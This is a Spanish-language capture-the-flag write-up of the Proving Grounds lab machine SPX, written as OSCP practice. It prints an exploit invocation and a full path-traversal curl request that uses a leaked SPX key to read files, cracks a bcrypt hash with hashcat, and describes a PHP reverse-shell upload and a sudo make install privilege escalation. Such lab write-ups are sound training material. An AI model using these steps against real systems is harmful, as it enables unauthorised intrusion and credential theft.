
SPX - Writeup
SPX es una máquina de Proving Grounds de dificultad media donde se puede ver el concepto de “Try Harder” de la OSCP. En ella, deberemos de enumerar debidamente para poder avanzar hasta poder lograr ser root.
Reconocimiento Link to Reconocimiento
Empezaremos escaneando los puertos abiertos de la máquina cuya IP es 192.168.169.108 con nmap.
12345678sudo nmap -sS -p- --open -Pn -oN tcp_scan_192.168.169.108.txt 192.168.169.108
Nmap scan report for 192.168.169.108
Host is up (0.046s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Ahora enumeramos los servicios que corren en estos puertos:
12345678910111213sudo nmap --privileged -p22,80 -sCV -Pn -oN scan_192.168.169.108.txt 192.168.169.108
Nmap scan report for 192.168.169.108
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Tiny File Manager
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Como se puede observar, la máquina tiene el puerto 80 abierto con el servicio http y el puerto 22 con ssh.
Si entramos a la página web podremos encontrar lo siguiente:

A continuación, se procederá a fuzzear los directorios de la página web:
123456789101112gobuster dir --url http://192.168.206.108/ --wordlist /opt/SecLists-2025.2/Discovery/Web-Content/common.txt -t 10 -o gobuster_common.txt
/.hta.php (Status: 403) [Size: 280]
/.hta (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.htaccess.php (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/.htpasswd.php (Status: 403) [Size: 280]
/index.php (Status: 200) [Size: 12045]
/index.php (Status: 200) [Size: 12045]
/phpinfo.php (Status: 200) [Size: 74735]
/phpinfo.php (Status: 200) [Size: 74735]
/server-status (Status: 403) [Size: 280]
Podemos ver que está expuesto el phpinfo.php. En él, se suelen encontrar información la cual puede dar lugar a la explotación de la máquina así que su enumeración es importante.
Si buscamos lo suficiente podremos ver lo siguiente:

Un plugin para php llamado SPX con versión 0.4.15 y un secreto expuesto.
Si buscamos por internet nos encontraremos con el github de php-spx. En él se puede ver la forma de acceder al dashboard del plugin.

Por defecto, el secreto es dev pero usaremos el secreto que robamos del phpinfo:

Si buscamos exploits encontraremos el siguiente: BubblyCola/CVE_2024_42007.
Explotación Link to Explotación
Primero, debemos modificar el exploit para que use la secret que robamos anteriormente:

Usamos el exploit:
1python3 CVE_2024_42007.py -t http://192.168.206.108/ -f /etc/passwd

Como podemos observar, el sitio web es vulnerable a Local File Inclusion. Si hacemos una investigación sobre Tiny File Manager en su github oficial podemos observar dos cosas:
- En el archivo principal se hardcodean contraseñas:

- El archivo oficial puede tener otro nombre:

Como el index.php apunta al Tiny File Manager daremos por hecho que es este.
Ahora debemos de apuntar al index.php con el LFI (Local File Inclusion). Como el script no me funcionaba con este arhivo procedí a realizarlo con curl y como es una aplicación php probé con la típica ruta /var/www/html/index.php:
1curl "http://192.168.206.108/?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/www/html/index.php"

En este caso se procederá a romper el hash de admin que es la cuenta que necesitamos con hashcat y el diccionario rockyou.txt. El modo para romper bycrypt es 3200:
1.\hashcat.exe -m 3200 -a 0 .\spx.hash rockyou.txt --force
Ejecuté hashcat en mi máquina host Windows 11 para poder tener la máxima potencia en el crackeo.

Obtenemos: admin:lowprofile.
Si usamos las credenciales en Tiny File Manager logramos acceder:

Como administradores, ahora podemos subir archivos .php con una reverse shell para poder entrar en la máquina al referenciarlo.
Para ello, usé la página web revshells.com. Elegí el payload de PHP Monkey Pentest.

Como resultado, da un archivo el cual llamé monkey.php listo para subir.

Al ponerme en escucha y al entrar a la página web /monkey.php obtuve la reverse shell:

Escalada de privilegios Link to Escalada de privilegios
Enumeramos los usuarios del sistema:

Vemos que hay un user profiler. Si reusamos la contraseña lowprofile lograremos entrar como ese usuario.
Podemos encontrar la flag en /home/profiler/local.txt: 
Enumerando los permisos del usuario profiler:

Para más información sobre esta escalada de privilegios: Makefile Privesc OSCP
Podemos ver que tenemos permisos de ejecutar sudo con make install. Esto es un vector potencial de escalada de privilegios ya que el Makefile al que hace referencia es propiedad de nuestro usuario y tenemos permisos de escritura.
Por lo tanto, podemos sobreescribir el Makefile para que cuando ejecute el comando install le añada al usuario profiler el permiso de usar sudo con cualquier comando.
Reescribimos el Makefile y escalamos privilegios: 
Podemos encontrar la flag en /root/proof.txt: 
Conclusión Link to Conclusión
Con esto concluye la máquina SPX. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.
SPX - Writeup
© YatoDev | CC BY-SA 4.0
